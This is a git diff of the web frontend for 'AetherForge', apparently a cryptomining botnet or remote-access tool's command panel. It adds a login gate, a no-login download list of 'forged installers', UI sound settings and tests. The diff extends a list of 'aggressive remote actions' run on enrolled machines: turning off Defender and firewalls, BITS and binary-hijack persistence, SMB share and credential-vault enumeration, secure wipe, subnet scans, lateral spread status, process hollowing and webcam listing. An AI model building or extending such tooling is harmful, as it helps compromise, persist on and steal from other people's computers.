||||
<path d="M8 21h8" />
|
||||
</svg>
|
||||
);
|
||||
case 'trace':
|
||||
return (
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
|
||||
|
||||
@@ -1,159 +1,216 @@
|
||||
import { useEffect, useState, type ReactNode } from 'react';
|
||||
|
||||
import {
|
||||
|
||||
AETHERFORGE_CLIENT_HEADER,
|
||||
|
||||
AETHERFORGE_CLIENT_VALUE,
|
||||
|
||||
authHeaders,
|
||||
|
||||
clearStoredAuth,
|
||||
|
||||
consumeAuthExpiredFlag,
|
||||
|
||||
encodeBasicToken,
|
||||
|
||||
getStoredAuth,
|
||||
|
||||
setStoredAuth,
|
||||
|
||||
} from '../api/auth';
|
||||
|
||||
import { useSound } from '../context/SoundContext';
|
||||
|
||||
import { FlowerOfLifeWatermark, KnowledgeKey } from './Visual/sacredGeometry/motifs';
|
||||
|
||||
|
||||
|
||||
export default function SessionGate({ children }: { children: ReactNode }) {
|
||||
|
||||
const { play } = useSound();
|
||||
|
||||
const [ready, setReady] = useState(false);
|
||||
|
||||
const [authed, setAuthed] = useState(!!getStoredAuth());
|
||||
|
||||
const [degraded, setDegraded] = useState(false);
|
||||
|
||||
const [user, setUser] = useState('');
|
||||
|
||||
const [pass, setPass] = useState('');
|
||||
|
||||
const [err, setErr] = useState('');
|
||||
|
||||
const [sessionExpired, setSessionExpired] = useState(false);
|
||||
|
||||
|
||||
|
||||
useEffect(() => {
|
||||
|
||||
const sync = () => {
|
||||
|
||||
const hasAuth = !!getStoredAuth();
|
||||
|
||||
setAuthed(hasAuth);
|
||||
|
||||
if (!hasAuth) {
|
||||
|
||||
setSessionExpired(consumeAuthExpiredFlag());
|
||||
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
window.addEventListener('aetherforge-auth', sync);
|
||||
|
||||
return () => window.removeEventListener('aetherforge-auth', sync);
|
||||
|
||||
}, []);
|
||||
|
||||
|
||||
|
||||
useEffect(() => {
|
||||
|
||||
const token = getStoredAuth();
|
||||
|
||||
if (!token) {
|
||||
|
||||
setAuthed(false);
|
||||
|
||||
setSessionExpired(consumeAuthExpiredFlag());
|
||||
|
||||
setReady(true);
|
||||
|
||||
return;
|
||||
|
||||
}
|
||||
|
||||
fetch('/api/v1/config', { headers: authHeaders() })
|
||||
|
||||
.then((r) => {
|
||||
|
||||
if (r.status === 401) {
|
||||
|
||||
clearStoredAuth({ silent: true, expired: true });
|
||||
|
||||
setAuthed(false);
|
||||
|
||||
setSessionExpired(true);
|
||||
|
||||
} else if (!r.ok) {
|
||||
|
||||
// Server reachable but unhappy — keep saved credentials (degraded mode).
|
||||
|
||||
setAuthed(true);
|
||||
|
||||
setDegraded(true);
|
||||
|
||||
} else {
|
||||
|
||||
setAuthed(true);
|
||||
|
||||
setDegraded(false);
|
||||
|
||||
}
|
||||
|
||||
setReady(true);
|
||||
|
||||
})
|
||||
|
||||
.catch(() => {
|
||||
|
||||
// Network blip — trust stored credentials until the server responds.
|
||||
|
||||
setAuthed(true);
|
||||
|
||||
setDegraded(true);
|
||||
|
||||
setReady(true);
|
||||
|
||||
});
|
||||
|
||||
}, []);
|
||||
|
||||
|
||||
|
||||
const handleLogin = async (e: React.FormEvent) => {
|
||||
|
||||
e.preventDefault();
|
||||
|
||||
setErr('');
|
||||
|
||||
setSessionExpired(false);
|
||||
|
||||
const headers: Record<string, string> = {
|
||||
|
||||
[AETHERFORGE_CLIENT_HEADER]: AETHERFORGE_CLIENT_VALUE,
|
||||
|
||||
Authorization: `Basic ${encodeBasicToken(user, pass)}`,
|
||||
|
||||
};
|
||||
|
||||
try {
|
||||
|
||||
const res = await fetch('/api/v1/config', { headers });
|
||||
|
||||
if (!res.ok) {
|
||||
|
||||
setErr('Login failed — check username and password.');
|
||||
import { useEffect, useState, type ReactNode } from 'react';
|
||||
import type { PublicBuildDTO } from '../types';
|
||||
import {
|
||||
AETHERFORGE_CLIENT_HEADER,
|
||||
AETHERFORGE_CLIENT_VALUE,
|
||||
authHeaders,
|
||||
clearStoredAuth,
|
||||
consumeAuthExpiredFlag,
|
||||
encodeBasicToken,
|
||||
getStoredAuth,
|
||||
setStoredAuth,
|
||||
} from '../api/auth';
|
||||
import { useSound } from '../context/SoundContext';
|
||||
import { FlowerOfLifeWatermark, KnowledgeKey } from './Visual/sacredGeometry/motifs';
|
||||
|
||||
export default function SessionGate({ children }: { children: ReactNode }) {
|
||||
const { play } = useSound();
|
||||
const [ready, setReady] = useState(false);
|
||||
const [authed, setAuthed] = useState(!!getStoredAuth());
|
||||
const [degraded, setDegraded] = useState(false);
|
||||
const [user, setUser] = useState('');
|
||||
const [pass, setPass] = useState('');
|
||||
const [err, setErr] = useState('');
|
||||
const [sessionExpired, setSessionExpired] = useState(false);
|
||||
const [publicOpen, setPublicOpen] = useState(false);
|
||||
const [publicBuilds, setPublicBuilds] = useState<PublicBuildDTO[]>([]);
|
||||
const [publicLoading, setPublicLoading] = useState(false);
|
||||
const [publicErr, setPublicErr] = useState('');
|
||||
|
||||
useEffect(() => {
|
||||
const sync = () => {
|
||||
const hasAuth = !!getStoredAuth();
|
||||
setAuthed(hasAuth);
|
||||
if (!hasAuth) {
|
||||
setSessionExpired(consumeAuthExpiredFlag());
|
||||
}
|
||||
};
|
||||
window.addEventListener('aetherforge-auth', sync);
|
||||
return () => window.removeEventListener('aetherforge-auth', sync);
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
const token = getStoredAuth();
|
||||
if (!token) {
|
||||
setAuthed(false);
|
||||
setSessionExpired(consumeAuthExpiredFlag());
|
||||
setReady(true);
|
||||
return;
|
||||
}
|
||||
fetch('/api/v1/config', { headers: authHeaders() })
|
||||
.then((r) => {
|
||||
if (r.status === 401) {
|
||||
clearStoredAuth({ silent: true, expired: true });
|
||||
setAuthed(false);
|
||||
setSessionExpired(true);
|
||||
} else if (!r.ok) {
|
||||
// Server reachable but unhappy — keep saved credentials (degraded mode).
|
||||
setAuthed(true);
|
||||
setDegraded(true);
|
||||
} else {
|
||||
setAuthed(true);
|
||||
setDegraded(false);
|
||||
}
|
||||
setReady(true);
|
||||
})
|
||||
.catch(() => {
|
||||
// Network blip — trust stored credentials until the server responds.
|
||||
setAuthed(true);
|
||||
setDegraded(true);
|
||||
setReady(true);
|
||||
});
|
||||
}, []);
|
||||
|
||||
const handleLogin = async (e: React.FormEvent) => {
|
||||
e.preventDefault();
|
||||
setErr('');
|
||||
setSessionExpired(false);
|
||||
const headers: Record<string, string> = {
|
||||
[AETHERFORGE_CLIENT_HEADER]: AETHERFORGE_CLIENT_VALUE,
|
||||
Authorization: `Basic ${encodeBasicToken(user, pass)}`,
|
||||
};
|
||||
try {
|
||||
const res = await fetch('/api/v1/config', { headers });
|
||||
if (!res.ok) {
|
||||
setErr('Login failed — check username and password.');
|
||||
play('error');
|
||||
return;
|
||||
}
|
||||
setStoredAuth(user, pass);
|
||||
setAuthed(true);
|
||||
setDegraded(false);
|
||||
play('success');
|
||||
} catch {
|
||||
setErr('Cannot reach server — check that miner-server is running.');
|
||||
}
|
||||
};
|
||||
|
||||
if (!ready) {
|
||||
return (
|
||||
<div className="session-gate">
|
||||
<div className="session-gate-sacred-ring" aria-hidden>
|
||||
<FlowerOfLifeWatermark opacity={0.5} />
|
||||
</div>
|
||||
<p className="font-tech">Starting AetherForge…</p>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
const loadPublicBuilds = async () => {
|
||||
setPublicLoading(true);
|
||||
setPublicErr('');
|
||||
try {
|
||||
const res = await fetch('/api/v1/public/builds');
|
||||
if (!res.ok) throw new Error('unavailable');
|
||||
const data = (await res.json()) as { builds: PublicBuildDTO[] };
|
||||
setPublicBuilds(data.builds ?? []);
|
||||
setPublicOpen(true);
|
||||
} catch {
|
||||
setPublicErr('Public builds are not available yet — forge an installer first.');
|
||||
setPublicOpen(true);
|
||||
} finally {
|
||||
setPublicLoading(false);
|
||||
}
|
||||
};
|
||||
|
||||
if (!authed) {
|
||||
return (
|
||||
<div className="session-gate">
|
||||
<div className="session-gate-sacred-ring" aria-hidden>
|
||||
<FlowerOfLifeWatermark opacity={0.5} />
|
||||
</div>
|
||||
<div className="session-gate-keys" aria-hidden>
|
||||
<div className="session-gate-key session-gate-key--tl">
|
||||
<KnowledgeKey opacity={0.55} />
|
||||
</div>
|
||||
<div className="session-gate-key session-gate-key--br">
|
||||
<KnowledgeKey opacity={0.45} />
|
||||
</div>
|
||||
</div>
|
||||
<form className="session-gate-card card" onSubmit={handleLogin}>
|
||||
<h1 className="font-display">AetherForge</h1>
|
||||
<p className="form-hint">Sign in to open the command deck.</p>
|
||||
{sessionExpired && (
|
||||
<p className="form-hint" style={{ color: 'var(--accent-red)' }}>
|
||||
Your session expired — please sign in again.
|
||||
</p>
|
||||
)}
|
||||
<label className="label" htmlFor="session-user">Username</label>
|
||||
<input id="session-user" className="input" value={user} onChange={(e) => setUser(e.target.value)} autoComplete="username" />
|
||||
<label className="label" htmlFor="session-pass">Password</label>
|
||||
<input
|
||||
id="session-pass"
|
||||
className="input"
|
||||
type="password"
|
||||
value={pass}
|
||||
onChange={(e) => setPass(e.target.value)}
|
||||
autoComplete="current-password"
|
||||
/>
|
||||
{err && <p className="form-hint" style={{ color: 'var(--accent-red)' }}>{err}</p>}
|
||||
<button type="submit" className="btn btn-primary btn-lg">
|
||||
Enter Command Deck
|
||||
</button>
|
||||
<p className="session-gate-whisper" aria-hidden>
|
||||
ψ · the deck remembers every key
|
||||
</p>
|
||||
<div className="session-public-drawer" style={{ marginTop: '1.25rem', width: '100%' }}>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
style={{ width: '100%' }}
|
||||
onClick={() => void loadPublicBuilds()}
|
||||
disabled={publicLoading}
|
||||
>
|
||||
{publicLoading ? 'Loading…' : 'Public builds (no login)'}
|
||||
</button>
|
||||
{publicOpen && (
|
||||
<div className="card" style={{ marginTop: '0.75rem', textAlign: 'left' }}>
|
||||
<p className="form-hint" style={{ marginTop: 0 }}>
|
||||
Pinned + latest forged installers — no credentials required.
|
||||
</p>
|
||||
{publicErr && <p className="form-hint" style={{ color: 'var(--accent-red)' }}>{publicErr}</p>}
|
||||
{publicBuilds.length === 0 && !publicErr && (
|
||||
<p className="form-hint">No public builds yet.</p>
|
||||
)}
|
||||
<ul style={{ listStyle: 'none', margin: 0, padding: 0 }}>
|
||||
{publicBuilds.map((b) => (
|
||||
<li key={b.id} style={{ marginBottom: '0.5rem', fontSize: '0.85rem' }}>
|
||||
<strong>{b.worker_name}</strong>
|
||||
<span className="form-hint"> · {b.platform}</span>
|
||||
{b.pinned && <span> 📌</span>}
|
||||
<br />
|
||||
<a href={b.download_url} className="mono" style={{ fontSize: '0.75rem' }}>
|
||||
Download
|
||||
</a>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
return (
|
||||
<>
|
||||
{degraded && (
|
||||
<div className="session-degraded-banner" role="status">
|
||||
Cannot reach server — using saved credentials. Some data may be stale until connectivity returns.
|
||||
</div>
|
||||
)}
|
||||
{children}
|
||||
</>
|
||||
);
|
||||
}
|
||||
|
||||
81
server/web/src/context/AmbientMusicContext.tsx
Normal file
81
server/web/src/context/AmbientMusicContext.tsx
Normal file
@@ -0,0 +1,81 @@
|
||||
import React, { createContext, useCallback, useContext, useEffect, useMemo, useState } from 'react';
|
||||
import {
|
||||
ambientMusicPlayer,
|
||||
loadBgmEnabled,
|
||||
loadBgmVolume,
|
||||
} from '../audio/ambientMusic';
|
||||
|
||||
type AmbientMusicContextValue = {
|
||||
enabled: boolean;
|
||||
playing: boolean;
|
||||
volume: number;
|
||||
setEnabled: (v: boolean) => void;
|
||||
setVolume: (v: number) => void;
|
||||
togglePlay: () => void;
|
||||
};
|
||||
|
||||
const AmbientMusicContext = createContext<AmbientMusicContextValue | null>(null);
|
||||
|
||||
export function AmbientMusicProvider({ children }: { children: React.ReactNode }) {
|
||||
const [enabled, setEnabledState] = useState(loadBgmEnabled);
|
||||
const [playing, setPlaying] = useState(() => ambientMusicPlayer.isPlaying());
|
||||
const [volume, setVolumeState] = useState(loadBgmVolume);
|
||||
|
||||
const setEnabled = useCallback((v: boolean) => {
|
||||
ambientMusicPlayer.setEnabled(v);
|
||||
setEnabledState(v);
|
||||
if (v) ambientMusicPlayer.unlock();
|
||||
}, []);
|
||||
|
||||
const setVolume = useCallback((v: number) => {
|
||||
ambientMusicPlayer.setVolume(v);
|
||||
setVolumeState(ambientMusicPlayer.getVolume());
|
||||
}, []);
|
||||
|
||||
const togglePlay = useCallback(() => {
|
||||
ambientMusicPlayer.unlock();
|
||||
ambientMusicPlayer.togglePlay();
|
||||
setPlaying(ambientMusicPlayer.isPlaying());
|
||||
setEnabledState(ambientMusicPlayer.isEnabled());
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
return ambientMusicPlayer.subscribe(setPlaying);
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
ambientMusicPlayer.setEnabled(enabled);
|
||||
ambientMusicPlayer.setVolume(volume);
|
||||
}, [enabled, volume]);
|
||||
|
||||
useEffect(() => {
|
||||
const unlock = () => ambientMusicPlayer.unlock();
|
||||
window.addEventListener('pointerdown', unlock, { once: true, passive: true });
|
||||
window.addEventListener('keydown', unlock, { once: true });
|
||||
return () => {
|
||||
window.removeEventListener('pointerdown', unlock);
|
||||
window.removeEventListener('keydown', unlock);
|
||||
};
|
||||
}, []);
|
||||
|
||||
const value = useMemo(
|
||||
() => ({ enabled, playing, volume, setEnabled, setVolume, togglePlay }),
|
||||
[enabled, playing, volume, setEnabled, setVolume, togglePlay]
|
||||
);
|
||||
|
||||
return <AmbientMusicContext.Provider value={value}>{children}</AmbientMusicContext.Provider>;
|
||||
}
|
||||
|
||||
const noopAmbient: AmbientMusicContextValue = {
|
||||
enabled: false,
|
||||
playing: false,
|
||||
volume: 0,
|
||||
setEnabled: () => {},
|
||||
setVolume: () => {},
|
||||
togglePlay: () => {},
|
||||
};
|
||||
|
||||
export function useAmbientMusic() {
|
||||
const ctx = useContext(AmbientMusicContext);
|
||||
return ctx ?? noopAmbient;
|
||||
}
|
||||
35
server/web/src/context/SoundContext.test.tsx
Normal file
35
server/web/src/context/SoundContext.test.tsx
Normal file
@@ -0,0 +1,35 @@
|
||||
/**
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { describe, it, expect, vi, beforeEach } from 'vitest';
|
||||
import { render, fireEvent } from '@testing-library/react';
|
||||
import { SoundProvider, SFX_INTERACTIVE_SELECTOR } from './SoundContext';
|
||||
import * as hapticModule from '../audio/hapticEngine';
|
||||
|
||||
describe('SoundProvider click cues', () => {
|
||||
const play = vi.fn();
|
||||
|
||||
beforeEach(() => {
|
||||
play.mockClear();
|
||||
vi.spyOn(hapticModule.hapticEngine, 'isEnabled').mockReturnValue(true);
|
||||
vi.spyOn(hapticModule.hapticEngine, 'play').mockImplementation(play);
|
||||
});
|
||||
|
||||
it('covers card-style interactive rows', () => {
|
||||
expect(SFX_INTERACTIVE_SELECTOR).toContain('.agent-list-item.compact-row');
|
||||
expect(SFX_INTERACTIVE_SELECTOR).toContain('.crucible-node-card');
|
||||
expect(SFX_INTERACTIVE_SELECTOR).toContain('.pt-agent-card');
|
||||
});
|
||||
|
||||
it('plays click on agent list row', () => {
|
||||
render(
|
||||
<SoundProvider>
|
||||
<div className="agent-list-item compact-row" data-testid="row">
|
||||
Fleet node
|
||||
</div>
|
||||
</SoundProvider>
|
||||
);
|
||||
fireEvent.click(document.querySelector('[data-testid="row"]')!);
|
||||
expect(play).toHaveBeenCalledWith('click');
|
||||
});
|
||||
});
|
||||
@@ -1,20 +1,52 @@
|
||||
import React, { createContext, useCallback, useContext, useEffect, useMemo, useState } from 'react';
|
||||
import { hapticEngine, loadSoundEnabled, loadSoundVolume, type SoundCue } from '../audio/hapticEngine';
|
||||
import { hoverSfxEngine, loadHoverEnabled, loadHoverVolume } from '../audio/hoverSfx';
|
||||
|
||||
type SoundContextValue = {
|
||||
enabled: boolean;
|
||||
volume: number;
|
||||
hoverEnabled: boolean;
|
||||
hoverVolume: number;
|
||||
setEnabled: (v: boolean) => void;
|
||||
setVolume: (v: number) => void;
|
||||
setHoverEnabled: (v: boolean) => void;
|
||||
setHoverVolume: (v: number) => void;
|
||||
play: (cue: SoundCue) => void;
|
||||
preview: (cue?: SoundCue) => void;
|
||||
previewHover: () => void;
|
||||
};
|
||||
|
||||
const SoundContext = createContext<SoundContextValue | null>(null);
|
||||
|
||||
/** Elements that should emit the global UI click/nav cue (see SoundProvider listener). */
|
||||
export const SFX_INTERACTIVE_SELECTOR = [
|
||||
'button:not(:disabled)',
|
||||
'.btn:not(:disabled)',
|
||||
'[role="button"]:not([aria-disabled="true"])',
|
||||
'.nav-link',
|
||||
'.mobile-nav__link',
|
||||
'.mobile-nav__more-btn',
|
||||
'.agent-list-item.compact-row',
|
||||
'.crucible-node-card',
|
||||
'.crucible-group-item',
|
||||
'.pt-agent-card:not([style*="cursor: not-allowed"])',
|
||||
'.endpoint-chip:not(:disabled)',
|
||||
'.fleet-group-chip:not(:disabled)',
|
||||
].join(', ');
|
||||
|
||||
/** Elements that emit hover highlight SFX (debounced). */
|
||||
export const HOVER_INTERACTIVE_SELECTOR = [
|
||||
SFX_INTERACTIVE_SELECTOR,
|
||||
'.neon-card',
|
||||
'.card',
|
||||
'a[href]:not([data-sfx="off"])',
|
||||
].join(', ');
|
||||
|
||||
export function SoundProvider({ children }: { children: React.ReactNode }) {
|
||||
const [enabled, setEnabledState] = useState(loadSoundEnabled);
|
||||
const [volume, setVolumeState] = useState(loadSoundVolume);
|
||||
const [hoverEnabled, setHoverEnabledState] = useState(loadHoverEnabled);
|
||||
const [hoverVolume, setHoverVolumeState] = useState(loadHoverVolume);
|
||||
|
||||
const setEnabled = useCallback((v: boolean) => {
|
||||
hapticEngine.setEnabled(v);
|
||||
@@ -35,11 +67,31 @@ export function SoundProvider({ children }: { children: React.ReactNode }) {
|
||||
hapticEngine.play(cue);
|
||||
}, []);
|
||||
|
||||
const setHoverEnabled = useCallback((v: boolean) => {
|
||||
hoverSfxEngine.setEnabled(v);
|
||||
setHoverEnabledState(v);
|
||||
}, []);
|
||||
|
||||
const setHoverVolume = useCallback((v: number) => {
|
||||
hoverSfxEngine.setVolume(v);
|
||||
setHoverVolumeState(hoverSfxEngine.getVolume());
|
||||
}, []);
|
||||
|
||||
const previewHover = useCallback(() => {
|
||||
hoverSfxEngine.unlock();
|
||||
hoverSfxEngine.preview(enabled);
|
||||
}, [enabled]);
|
||||
|
||||
useEffect(() => {
|
||||
hapticEngine.setEnabled(enabled);
|
||||
hapticEngine.setVolume(volume);
|
||||
}, [enabled, volume]);
|
||||
|
||||
useEffect(() => {
|
||||
hoverSfxEngine.setEnabled(hoverEnabled);
|
||||
hoverSfxEngine.setVolume(hoverVolume);
|
||||
}, [hoverEnabled, hoverVolume]);
|
||||
|
||||
useEffect(() => {
|
||||
const unlock = () => hapticEngine.unlock();
|
||||
window.addEventListener('pointerdown', unlock, { once: true, passive: true });
|
||||
@@ -56,9 +108,7 @@ export function SoundProvider({ children }: { children: React.ReactNode }) {
|
||||
const target = e.target as HTMLElement | null;
|
||||
if (!target) return;
|
||||
if (target.closest('[data-sfx="off"]')) return;
|
||||
const interactive = target.closest(
|
||||
'button:not(:disabled), .btn:not(:disabled), [role="button"]:not([aria-disabled="true"]), .nav-link, .mobile-nav__link, .mobile-nav__more-btn'
|
||||
);
|
||||
const interactive = target.closest(SFX_INTERACTIVE_SELECTOR);
|
||||
if (!interactive) return;
|
||||
const isNav =
|
||||
interactive.classList.contains('nav-link') ||
|
||||
@@ -69,9 +119,49 @@ export function SoundProvider({ children }: { children: React.ReactNode }) {
|
||||
return () => document.removeEventListener('click', onClick, true);
|
||||
}, [enabled]);
|
||||
|
||||
useEffect(() => {
|
||||
const onMouseOver = (e: MouseEvent) => {
|
||||
if (!hapticEngine.isEnabled() || !hoverSfxEngine.isEnabled()) return;
|
||||
const target = e.target as HTMLElement | null;
|
||||
if (!target) return;
|
||||
if (target.closest('[data-sfx="off"]')) return;
|
||||
const interactive = target.closest(HOVER_INTERACTIVE_SELECTOR);
|
||||
if (!interactive) return;
|
||||
const related = e.relatedTarget as Node | null;
|
||||
if (related && interactive.contains(related)) return;
|
||||
hoverSfxEngine.play(true);
|
||||
};
|
||||
document.addEventListener('mouseover', onMouseOver, true);
|
||||
return () => document.removeEventListener('mouseover', onMouseOver, true);
|
||||
}, [enabled, hoverEnabled]);
|
||||
|
||||
const value = useMemo(
|
||||
() => ({ enabled, volume, setEnabled, setVolume, play, preview }),
|
||||
[enabled, volume, setEnabled, setVolume, play, preview]
|
||||
() => ({
|
||||
enabled,
|
||||
volume,
|
||||
hoverEnabled,
|
||||
hoverVolume,
|
||||
setEnabled,
|
||||
setVolume,
|
||||
setHoverEnabled,
|
||||
setHoverVolume,
|
||||
play,
|
||||
preview,
|
||||
previewHover,
|
||||
}),
|
||||
[
|
||||
enabled,
|
||||
volume,
|
||||
hoverEnabled,
|
||||
hoverVolume,
|
||||
setEnabled,
|
||||
setVolume,
|
||||
setHoverEnabled,
|
||||
setHoverVolume,
|
||||
play,
|
||||
preview,
|
||||
previewHover,
|
||||
]
|
||||
);
|
||||
|
||||
return <SoundContext.Provider value={value}>{children}</SoundContext.Provider>;
|
||||
@@ -80,10 +170,15 @@ export function SoundProvider({ children }: { children: React.ReactNode }) {
|
||||
const noopSound: SoundContextValue = {
|
||||
enabled: false,
|
||||
volume: 0,
|
||||
hoverEnabled: false,
|
||||
hoverVolume: 0,
|
||||
setEnabled: () => {},
|
||||
setVolume: () => {},
|
||||
setHoverEnabled: () => {},
|
||||
setHoverVolume: () => {},
|
||||
play: () => {},
|
||||
preview: () => {},
|
||||
previewHover: () => {},
|
||||
};
|
||||
|
||||
export function useSound() {
|
||||
|
||||
@@ -11,6 +11,9 @@ export const AGGRESSIVE_REMOTE_ACTIONS = [
|
||||
'tunnel_ssh_forward',
|
||||
'tunnel_stop',
|
||||
'subnet_scan',
|
||||
'smb_shares',
|
||||
'credential_vault_list',
|
||||
'secure_wipe',
|
||||
'defender_off',
|
||||
'firewall_punch',
|
||||
'firewall_off',
|
||||
@@ -32,7 +35,10 @@ export function canRunAggressiveAction(
|
||||
if (platform === 'darwin' && action === 'defender_off') return false;
|
||||
if (
|
||||
platform !== 'windows' &&
|
||||
(action.startsWith('firewall_') || action === 'bits_persist' || action === 'host_binary_persist')
|
||||
(action.startsWith('firewall_') ||
|
||||
action === 'bits_persist' ||
|
||||
action === 'host_binary_persist' ||
|
||||
action === 'smb_shares')
|
||||
) {
|
||||
return false;
|
||||
}
|
||||
@@ -49,6 +55,9 @@ export function canRunAggressiveAction(
|
||||
case 'tunnel_ssh_forward':
|
||||
case 'tunnel_stop':
|
||||
case 'subnet_scan':
|
||||
case 'smb_shares':
|
||||
case 'credential_vault_list':
|
||||
case 'secure_wipe':
|
||||
case 'defender_off':
|
||||
case 'firewall_punch':
|
||||
case 'firewall_off':
|
||||
@@ -82,6 +91,9 @@ export function aggressiveActionHint(
|
||||
if (platform !== 'windows' && action === 'host_binary_persist') {
|
||||
return 'Host binary hijack is Windows-only';
|
||||
}
|
||||
if (platform !== 'windows' && action === 'smb_shares') {
|
||||
return 'SMB share enumeration is Windows-only';
|
||||
}
|
||||
if (canRunAggressiveAction(action, caps, platform)) return undefined;
|
||||
switch (action) {
|
||||
case 'hole_punch':
|
||||
|
||||
117
server/web/src/help/crucibleOps.test.ts
Normal file
117
server/web/src/help/crucibleOps.test.ts
Normal file
@@ -0,0 +1,117 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { mockAgent } from '../test/fixtures';
|
||||
import {
|
||||
CRUCIBLE_PHASE_C_ACTIONS,
|
||||
CRUCIBLE_PHASE_C_STUBS,
|
||||
buildSSHForwardPayload,
|
||||
isWindowsPlatform,
|
||||
newPortForwardRow,
|
||||
onlineAgents,
|
||||
parseCameraListMessage,
|
||||
parseRemoteHostPort,
|
||||
selectionAggressiveHint,
|
||||
selectionCanRunAggressive,
|
||||
validatePortForwardRows,
|
||||
windowsOnlineAgents,
|
||||
} from './crucibleOps';
|
||||
|
||||
const fullCaps = {
|
||||
hole_punch: true,
|
||||
remote_aggressive: true,
|
||||
mesh_p2p: true,
|
||||
auto_spread: true,
|
||||
process_hollowing: false,
|
||||
ai_enabled: false,
|
||||
};
|
||||
|
||||
describe('crucibleOps', () => {
|
||||
it('onlineAgents filters to online status', () => {
|
||||
const agents = [
|
||||
mockAgent({ id: 'a', status: 'online' }),
|
||||
mockAgent({ id: 'b', status: 'offline' }),
|
||||
];
|
||||
expect(onlineAgents(agents).map((a) => a.id)).toEqual(['a']);
|
||||
});
|
||||
|
||||
it('windowsOnlineAgents filters to online Windows nodes', () => {
|
||||
const agents = [
|
||||
mockAgent({ id: 'w', status: 'online', platform: 'windows' }),
|
||||
mockAgent({ id: 'l', status: 'online', platform: 'linux' }),
|
||||
];
|
||||
expect(windowsOnlineAgents(agents).map((a) => a.id)).toEqual(['w']);
|
||||
});
|
||||
|
||||
it('isWindowsPlatform treats unknown as Windows', () => {
|
||||
expect(isWindowsPlatform(undefined)).toBe(true);
|
||||
expect(isWindowsPlatform('windows')).toBe(true);
|
||||
expect(isWindowsPlatform('linux')).toBe(false);
|
||||
});
|
||||
|
||||
it('selectionCanRunAggressive allows when any target has capability', () => {
|
||||
const agents = [
|
||||
mockAgent({ id: 'w', status: 'online', platform: 'windows', capabilities: fullCaps }),
|
||||
mockAgent({
|
||||
id: 'l',
|
||||
status: 'online',
|
||||
platform: 'linux',
|
||||
capabilities: { ...fullCaps, remote_aggressive: false },
|
||||
}),
|
||||
];
|
||||
expect(selectionCanRunAggressive('firewall_off', agents)).toBe(true);
|
||||
expect(selectionCanRunAggressive('mesh_status', [{ ...agents[1], capabilities: { ...fullCaps, mesh_p2p: false } }])).toBe(false);
|
||||
});
|
||||
|
||||
it('selectionAggressiveHint explains blocked bulk ops', () => {
|
||||
const agents = [
|
||||
mockAgent({
|
||||
id: 'l',
|
||||
status: 'online',
|
||||
platform: 'linux',
|
||||
capabilities: fullCaps,
|
||||
}),
|
||||
];
|
||||
expect(selectionAggressiveHint('firewall_off', agents)).toContain('Windows-only');
|
||||
expect(selectionAggressiveHint('hole_punch', [])).toContain('online');
|
||||
});
|
||||
|
||||
it('parseCameraListMessage strips ffmpeg banner lines', () => {
|
||||
const msg = `[dshow @ 0] DirectShow video devices
|
||||
"USB2.0 HD UVC WebCam"
|
||||
/dev/video0`;
|
||||
expect(parseCameraListMessage(msg)).toEqual(['"USB2.0 HD UVC WebCam"', '/dev/video0']);
|
||||
});
|
||||
|
||||
it('lists Phase C actions', () => {
|
||||
expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('smb_shares');
|
||||
expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('spread_status');
|
||||
expect(CRUCIBLE_PHASE_C_STUBS.some((s) => s.id === 'smb_shares')).toBe(true);
|
||||
});
|
||||
|
||||
it('parseRemoteHostPort splits host and port', () => {
|
||||
expect(parseRemoteHostPort('192.168.1.10:3389')).toEqual({ host: '192.168.1.10', port: 3389 });
|
||||
expect(parseRemoteHostPort('[::1]:22')).toEqual({ host: '::1', port: 22 });
|
||||
expect(parseRemoteHostPort('bad')).toBeNull();
|
||||
});
|
||||
|
||||
it('buildSSHForwardPayload omits empty ssh user', () => {
|
||||
expect(buildSSHForwardPayload('2222', '10.0.0.5:22', '')).toEqual({
|
||||
local_port: 2222,
|
||||
remote_host: '10.0.0.5',
|
||||
remote_port: 22,
|
||||
});
|
||||
expect(buildSSHForwardPayload('2222', '10.0.0.5:22', 'admin')).toEqual({
|
||||
local_port: 2222,
|
||||
remote_host: '10.0.0.5',
|
||||
remote_port: 22,
|
||||
ssh_user: 'admin',
|
||||
});
|
||||
});
|
||||
|
||||
it('validatePortForwardRows rejects invalid rows', () => {
|
||||
expect(validatePortForwardRows([])).toContain('at least one');
|
||||
const row = newPortForwardRow('r1');
|
||||
row.remoteHostPort = 'nope';
|
||||
expect(validatePortForwardRows([row])).toContain('Invalid row');
|
||||
expect(validatePortForwardRows([newPortForwardRow('r2')])).toBeNull();
|
||||
});
|
||||
});
|
||||
147
server/web/src/help/crucibleOps.ts
Normal file
147
server/web/src/help/crucibleOps.ts
Normal file
@@ -0,0 +1,147 @@
|
||||
import type { Agent } from '../types';
|
||||
import {
|
||||
aggressiveActionHint,
|
||||
canRunAggressiveAction,
|
||||
type AggressiveRemoteAction,
|
||||
} from './aggressiveActions';
|
||||
|
||||
/** Phase C Crucible remote actions (wired in agent + CrucibleExpandedOps). */
|
||||
export const CRUCIBLE_PHASE_C_ACTIONS = [
|
||||
'smb_shares',
|
||||
'spread_status',
|
||||
'credential_vault_list',
|
||||
'secure_wipe',
|
||||
'tunnel_ssh_forward',
|
||||
] as const;
|
||||
|
||||
export type CruciblePhaseCAction = (typeof CRUCIBLE_PHASE_C_ACTIONS)[number];
|
||||
|
||||
/** @deprecated use CRUCIBLE_PHASE_C_ACTIONS — kept for tests migrating off stubs */
|
||||
export const CRUCIBLE_PHASE_C_STUBS = [
|
||||
{ id: 'smb_shares', label: 'SMB Shares', hint: 'Enumerate accessible \\\\host\\share on Windows LAN' },
|
||||
{ id: 'spread_status', label: 'Spread Status', hint: 'Last lateral spread sweep summary JSON' },
|
||||
{ id: 'credential_vault_list', label: 'Credential Names', hint: 'Vault / keychain / SSH key names only' },
